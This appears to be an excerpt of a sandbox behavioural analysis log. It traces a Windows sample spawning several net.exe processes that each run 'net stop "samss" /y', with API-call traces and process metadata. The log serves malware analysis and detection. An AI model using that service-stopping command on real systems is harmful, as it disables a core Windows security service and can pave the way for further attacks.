	[0255.791] OpenServiceW (hSCManager=0x37cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x37ce50
	[0255.792] QueryServiceStatus (in: hService=0x37ce50, lpServiceStatus=0x26fb50 | out: lpServiceStatus=0x26fb50*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0255.792] NetApiBufferFree (Buffer=0x380c70) returned 0x0
	[0255.792] CloseServiceHandle (hSCObject=0x37ce50) returned 1
	[0255.793] wcscpy_s (in: _Destination=0xff8580d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0255.793] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0255.795] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xff855b50, nSize=0x800, Arguments=0xff857f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0255.798] GetFileType (hFile=0xb) returned 0x2
	[0255.798] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x26fa48 | out: lpMode=0x26fa48) returned 1
	[0255.799] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff855b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x26fa40, lpReserved=0x0 | out: lpBuffer=0xff855b50*, lpNumberOfCharsWritten=0x26fa40*=0x47) returned 1
	[0256.018] GetFileType (hFile=0xb) returned 0x2
	[0256.018] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x26fa48 | out: lpMode=0x26fa48) returned 1
	[0256.019] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff831efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26fa40, lpReserved=0x0 | out: lpBuffer=0xff831efc*, lpNumberOfCharsWritten=0x26fa40*=0x2) returned 1
	[0256.019] _ultow (in: _Dest=0x88f, _Radix=2554544 | out: _Dest=0x88f) returned="2191"
	[0256.019] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff855b50, nSize=0x800, Arguments=0xff857f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0256.020] GetFileType (hFile=0xb) returned 0x2
	[0256.020] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x26fa48 | out: lpMode=0x26fa48) returned 1
	[0256.021] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff855b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x26fa40, lpReserved=0x0 | out: lpBuffer=0xff855b50*, lpNumberOfCharsWritten=0x26fa40*=0x34) returned 1
	[0256.021] GetFileType (hFile=0xb) returned 0x2
	[0256.022] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x26fa48 | out: lpMode=0x26fa48) returned 1
	[0256.022] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff831efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26fa40, lpReserved=0x0 | out: lpBuffer=0xff831efc*, lpNumberOfCharsWritten=0x26fa40*=0x2) returned 1
	[0256.023] NetApiBufferFree (Buffer=0x374d40) returned 0x0
	[0256.023] NetApiBufferFree (Buffer=0x37c0e0) returned 0x0
	[0256.024] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0256.024] exit (_Code=2) 

Process:
	id = "65"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x9014000"
	os_pid = "0x3f8"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "63"
	os_parent_pid = "0x1d8"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000db03" [0xc000000f], "LOCAL" [0x7]


Thread:
	id = 3429
	os_tid = 0x1290


Thread:
	id = 3430
	os_tid = 0x8f4


Thread:
	id = 3431
	os_tid = 0x128


Thread:
	id = 3432
	os_tid = 0x7c8


Thread:
	id = 3433
	os_tid = 0x6cc


Thread:
	id = 3434
	os_tid = 0x644


Thread:
	id = 3435
	os_tid = 0x63c


Thread:
	id = 3436
	os_tid = 0x154


Thread:
	id = 3437
	os_tid = 0x118


Thread:
	id = 3438
	os_tid = 0x3fc


Thread:
	id = 3473
	os_tid = 0x31f0


Thread:
	id = 3474
	os_tid = 0x2fac


Thread:
	id = 3475
	os_tid = 0x2fa8


Process:
	id = "66"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x151f000"
	os_pid = "0x3b4c"
	os_integrity_level = "0x4000"
	os_privileges = "0x60814080"
	monitor_reason = "rpc_server"
	parent_id = "63"
	os_parent_pid = "0x1d8"
	cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00085c81" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 3499
	os_tid = 0x39d4


Thread:
	id = 3500
	os_tid = 0x3b58


Thread:
	id = 3501
	os_tid = 0x3ba4


Thread:
	id = 3502
	os_tid = 0x3ba0


Thread:
	id = 3503
	os_tid = 0x3b78


Thread:
	id = 3504
	os_tid = 0x3b50


Thread:
	id = 3522
	os_tid = 0x3c60


Process:
	id = "67"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x75f78000"
	os_pid = "0x3d7c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3592
	os_tid = 0x3d80


Process:
	id = "68"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x75f7b000"
	os_pid = "0x3ec4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3665
	os_tid = 0x3ec8


Process:
	id = "69"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x740c4000"
	os_pid = "0x4014"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3753
	os_tid = 0x4018


Process:
	id = "70"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x767d8000"
	os_pid = "0x41d4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3858
	os_tid = 0x41d8


Process:
	id = "71"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x76e54000"
	os_pid = "0x4450"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 4024
	os_tid = 0x4454